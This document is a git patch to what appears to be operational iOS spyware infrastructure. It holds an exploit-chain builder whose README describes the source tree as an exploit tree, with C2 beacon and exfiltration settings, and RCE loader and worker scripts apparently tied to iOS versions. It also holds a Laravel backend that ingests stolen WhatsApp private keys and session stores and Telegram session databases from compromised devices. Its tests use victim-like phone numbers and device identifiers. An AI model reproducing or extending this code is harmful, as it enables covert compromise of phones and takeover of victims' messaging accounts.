From e9192d5720e4ba197e3b14a38688a458afeca41a Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 29 Aug 2026 00:15:54 +0800 Subject: [PATCH] feat: ds --- app/Http/Middleware/DecryptXxbbBody.php | 4 +- app/Services/IngestService.php | 46 +++++++++++++++-- channel-builder-ds/README.md | 5 +- channel-builder-ds/source/boot.js | 23 +++------ channel-builder-ds/source/rce_loader.js | 15 +----- channel-builder-ds/source/rce_worker_18.4.js | 6 ++- channel-builder-ds/source/rce_worker_18.5.js | 6 ++- channel-builder-ds/source/rce_worker_18.6.js | 6 ++- channel-builder-ds/tools/tests/test_build.py | 13 +++++ tests/Feature/XxbbC2ApiTest.php | 53 ++++++++++++++++++++ tests/Unit/IngestServiceNormalizeTest.php | 14 ++++++ 11 files changed, 152 insertions(+), 39 deletions(-) diff --git a/app/Http/Middleware/DecryptXxbbBody.php b/app/Http/Middleware/DecryptXxbbBody.php index 9a66eb4..0b955fa 100644 --- a/app/Http/Middleware/DecryptXxbbBody.php +++ b/app/Http/Middleware/DecryptXxbbBody.php @@ -62,14 +62,14 @@ class DecryptXxbbBody } if (is_array($payload)) { - foreach (['d', 'f'] as $k) { + foreach (['d', 'f', 'ecid'] as $k) { if (! empty($payload[$k]) && is_string($payload[$k])) { $deviceKey = $payload[$k]; break; } } if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) { - foreach (['d', 'f'] as $k) { + foreach (['d', 'f', 'ecid'] as $k) { if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) { $deviceKey = $payload['form'][$k]; break; diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 2d93e31..6b52a04 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -48,6 +48,7 @@ class IngestService } $candidates[] = $payload['d'] ?? null; $candidates[] = $payload['f'] ?? null; + $candidates[] = $payload['ecid'] ?? null; $candidates[] = $payload['deviceID'] ?? null; $candidates[] = $payload['deviceId'] ?? null; @@ -541,12 +542,51 @@ class IngestService */ public function ingestWhatsAppAuth(Device $device, ?array $payload): void { + $payload = $this->normalizeWhatsAppPayload($payload); $this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [ 'userId', 'phoneId', 'registrationID', 'identity', 'identityPrivateKey', 'identityPublicKey', 'clientStaticKeypairBase64', 'phoneKeyStore', - 'deviceConfig', 'whatsappVersion', - ], ['userId', 'user_id']); + 'deviceConfig', 'whatsappVersion', 'nickname', + ], ['userId', 'user_id', 'account']); + } + + /** + * Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level. + * + * @param array|null $payload + * @return array|null + */ + private function normalizeWhatsAppPayload(?array $payload): ?array + { + if (! is_array($payload)) { + return $payload; + } + + $data = $payload['data'] ?? null; + if (is_string($data) && $data !== '') { + $decoded = json_decode($data, true); + if (is_array($decoded)) { + $payload = array_merge($decoded, $payload); + } + } + + foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) { + $value = $payload[$key] ?? null; + if (! is_string($value) || $value === '') { + continue; + } + $inner = json_decode($value, true); + if (json_last_error() === JSON_ERROR_NONE) { + $payload[$key] = $inner; + } + } + + if (! array_key_exists('userId', $payload) && isset($payload['account'])) { + $payload['userId'] = $payload['account']; + } + + return $payload; } /** @@ -627,7 +667,7 @@ class IngestService } } $phone = $kind === PluginSession::KIND_WHATSAPP - ? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null) + ? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null) : null; PluginSession::query()->updateOrCreate( diff --git a/channel-builder-ds/README.md b/channel-builder-ds/README.md index 8514313..06f284a 100644 --- a/channel-builder-ds/README.md +++ b/channel-builder-ds/README.md @@ -2,8 +2,9 @@ `source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。 -**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。 -**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。 +**页面请求不跨域:** 浏览器里发出的 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` 一律用当前页面 `location.origin`。 +**资源域名不配置:** 静态资源用当前 weifile 的 `location.origin + /next-chain`。 +**C2 可配置:** `php artisan ds:build --c2 …` 只改 native PE 的 `/beacon` `/war` `/stats` 和 `NEWS2_CONFIG.exfil`(CFNetwork 回连),不影响页面 XHR。 weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。 diff --git a/channel-builder-ds/source/boot.js b/channel-builder-ds/source/boot.js index d261cd9..f83c7d0 100644 --- a/channel-builder-ds/source/boot.js +++ b/channel-builder-ds/source/boot.js @@ -54,26 +54,19 @@ return origin + path.replace(/\/+$/, ''); } - function apiBase() { - try { - var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) - ? window.__LAB_EXFIL__ - : ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null); - if (ex && ex.host) { - var tls = !!(ex.tls || ex.prefer_https); - var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); - if (!tls && port === 443) { tls = true; } - var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host); - if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; - return origin; - } - } catch (e0) {} + function pageOrigin() { try { if (location.origin && location.origin !== 'null') return trimSlash(location.origin); - } catch (e1) {} + } catch (e) {} return ''; } + // Browser XHR/fetch only — always the page origin so /api/ds/* stays same-origin. + // NEWS2_CONFIG.exfil / __LAB_EXFIL__ remain for native PE, not page APIs. + function apiBase() { + return pageOrigin(); + } + function applyExfil(ex) { if (!ex || !ex.host) return; window.__LAB_EXFIL__ = { diff --git a/channel-builder-ds/source/rce_loader.js b/channel-builder-ds/source/rce_loader.js index 0216790..a2df51c 100644 --- a/channel-builder-ds/source/rce_loader.js +++ b/channel-builder-ds/source/rce_loader.js @@ -27,23 +27,10 @@ function labAssetBase() { return ''; } function labApiBase() { - try { - var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) - ? window.__LAB_EXFIL__ - : (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil); - if (ex && ex.host) { - var tls = !!(ex.tls || ex.prefer_https); - var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); - if (!tls && port === 443) { tls = true; } - var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; - if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; - return origin; - } - } catch (e0) {} try { if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') return String(location.origin).replace(/\/$/, ''); - } catch (e1) {} + } catch (e0) {} return ''; } var localHost = labAssetBase(); diff --git a/channel-builder-ds/source/rce_worker_18.4.js b/channel-builder-ds/source/rce_worker_18.4.js index 5833cb1..5847e7a 100644 --- a/channel-builder-ds/source/rce_worker_18.4.js +++ b/channel-builder-ds/source/rce_worker_18.4.js @@ -215,7 +215,11 @@ self[1] = boxed_arr; let logEntryID = 0; var __labC2Host = ''; function labC2LogUrl(qs) { - var base = __labC2Host; + var base = ''; + try { + if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') + base = String(location.origin).replace(/\/$/, ''); + } catch (_e0) {} if (!base) { try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; } } diff --git a/channel-builder-ds/source/rce_worker_18.5.js b/channel-builder-ds/source/rce_worker_18.5.js index 9e22b49..e26177b 100644 --- a/channel-builder-ds/source/rce_worker_18.5.js +++ b/channel-builder-ds/source/rce_worker_18.5.js @@ -24,7 +24,11 @@ let __printBudget = 60; let __printWindowStart = 0; var __labExfilUrl = ''; function labC2LogUrl(qs) { - var base = __labExfilUrl; + var base = ''; + try { + if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') + base = String(location.origin).replace(/\/$/, ''); + } catch (_e0) {} if (!base) { try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; } } diff --git a/channel-builder-ds/source/rce_worker_18.6.js b/channel-builder-ds/source/rce_worker_18.6.js index e27c410..45c338c 100644 --- a/channel-builder-ds/source/rce_worker_18.6.js +++ b/channel-builder-ds/source/rce_worker_18.6.js @@ -17,7 +17,11 @@ let logStart = new Date().getTime(); let logEntryID = 0; var __labC2Host = ''; function labC2LogUrl(qs) { - var base = __labC2Host; + var base = ''; + try { + if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') + base = String(location.origin).replace(/\/$/, ''); + } catch (_e0) {} if (!base) { try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; } } diff --git a/channel-builder-ds/tools/tests/test_build.py b/channel-builder-ds/tools/tests/test_build.py index 2781a11..570874f 100644 --- a/channel-builder-ds/tools/tests/test_build.py +++ b/channel-builder-ds/tools/tests/test_build.py @@ -81,6 +81,19 @@ class BuildTest(unittest.TestCase): self.assertEqual(ep.origin, "https://lab.example:8443") self.assertEqual(ep.url, "https://lab.example:8443/next-chain") + def test_page_apis_use_location_origin(self) -> None: + root = TOOLS.parent / "source" + boot = (root / "boot.js").read_text(encoding="utf-8") + loader = (root / "rce_loader.js").read_text(encoding="utf-8") + worker = (root / "rce_worker_18.5.js").read_text(encoding="utf-8") + self.assertIn("function pageOrigin()", boot) + self.assertIn("function apiBase() {\n return pageOrigin();", boot) + self.assertNotIn("window.__LAB_EXFIL__", boot.split("function apiBase()")[1].split("function applyExfil")[0]) + self.assertIn("location.origin", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0]) + self.assertNotIn("__LAB_EXFIL__", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0]) + self.assertIn("location.origin", worker.split("function labC2LogUrl")[1].split("function print")[0]) + self.assertNotIn("__labExfilUrl", worker.split("function labC2LogUrl")[1].split("function print")[0]) + if __name__ == "__main__": unittest.main() diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index c4eee8b..48a689f 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -402,6 +402,29 @@ class XxbbC2ApiTest extends TestCase $this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null); } + #[Test] + public function api_tg_t_ingests_ecid_envelope(): void + { + $this->xxbbPost('/api/tg/t', [ + 'ecid' => '00025D800C22001E', + 'unique' => '00008101-00025D800C22001E', + 'serial' => 'G0NDX83M0D5D', + 'channel' => 'b78e30542d4d290f72685e97639a9b05', + 'user_id' => '37603278499', + 'state' => '{"records":[]}', + 'db_sqlite' => base64_encode('not-a-real-sqlite'), + ])->assertOk(); + + $device = Device::query()->where('device_id', '00025D800C22001E')->first(); + $this->assertNotNull($device); + $row = PluginSession::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind); + $this->assertSame('37603278499', $row->account_id); + $this->assertSame('37603278499', $row->payload['user_id'] ?? null); + $this->assertArrayHasKey('db_sqlite', $row->payload); + } + #[Test] public function api_wp_t_ingests_whatsapp_session(): void { @@ -431,6 +454,36 @@ class XxbbC2ApiTest extends TestCase $this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null); } + #[Test] + public function api_wp_t_ingests_account_data_envelope(): void + { + $this->xxbbPost('/api/wp/t', [ + 'account' => '2348034472071', + 'ecid' => '0006345E0A09002E', + 'unique' => '00008020-0006345E0A09002E', + 'serial' => 'DX3YJA00KXKQ', + 'channel' => 'b78e30542d4d290f72685e97639a9b05', + 'data' => json_encode([ + 'userId' => '2348034472071', + 'phoneId' => 'phone-id-live', + 'clientStaticKeypairBase64' => 'QUJD', + 'phoneKeyStore' => json_encode(['preKeys' => [], 'signedPreKey' => ['id' => 1]]), + 'nickname' => 'wa-nick', + ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), + ])->assertOk(); + + $device = Device::query()->where('device_id', '0006345E0A09002E')->first(); + $this->assertNotNull($device); + $row = PluginSession::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind); + $this->assertSame('2348034472071', $row->account_id); + $this->assertSame('2348034472071', $row->phone); + $this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null); + $this->assertSame('wa-nick', $row->payload['nickname'] ?? null); + $this->assertIsArray($row->payload['phoneKeyStore'] ?? null); + } + #[Test] public function event_stores_sms_phone_number(): void { diff --git a/tests/Unit/IngestServiceNormalizeTest.php b/tests/Unit/IngestServiceNormalizeTest.php index 5989db1..e098425 100644 --- a/tests/Unit/IngestServiceNormalizeTest.php +++ b/tests/Unit/IngestServiceNormalizeTest.php @@ -48,6 +48,20 @@ class IngestServiceNormalizeTest extends TestCase ); } + #[Test] + public function extract_device_key_reads_ecid(): void + { + $ingest = $this->app->make(IngestService::class); + $this->assertSame( + '0006345E0A09002E', + $ingest->extractDeviceKey([ + 'account' => '2348034472071', + 'ecid' => '0006345E0A09002E', + 'unique' => '00008020-0006345E0A09002E', + ]) + ); + } + #[Test] public function decode_hex_counter_pair_splits_idx_ftu(): void {